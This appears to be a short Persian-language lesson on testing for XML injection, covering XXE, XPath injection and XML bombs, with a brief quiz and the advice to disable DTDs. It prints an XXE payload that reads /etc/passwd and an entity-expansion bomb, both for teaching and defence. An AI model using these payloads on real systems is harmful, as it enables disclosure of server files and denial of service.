در حال بارگذاری...
تست تزریق XML شامل XXE، XPATH Injection و XML Bomb برای شناسایی آسیبپذیریهای پردازش XML.
اهداف این درس
XML Injection شامل چندین نوع آسیبپذیری است که در پردازش XML رخ میدهد. مهمترین آنها XXE (XML External Entity) است.
1<?xml version="1.0" encoding="UTF-8"?>2<!DOCTYPE foo [3 <!ENTITY xxe SYSTEM "file:///etc/passwd">4]>5<root>&xxe;</root>1<?xml version="1.0"?>2<!DOCTYPE lolz [3 <!ENTITY lol "lol">4 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">5 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">6]>7<root>&lol3;</root>XXE میتواند منجر به خواندن فایلهای حساس سرور شود.
XML Bomb میتواند منجر به DoS شود.
غیرفعال کردن DTD مؤثرترین روش پیشگیری است.
XXE میتواند منجر به چه حملاتی شود؟
XXE چیست؟
XML External Entity (XXE) نوعی آسیبپذیری است که در آن مهاجم میتواند از طریق DTD فایلهای سرور را بخواند یا درخواستهای شبکهای ارسال کند.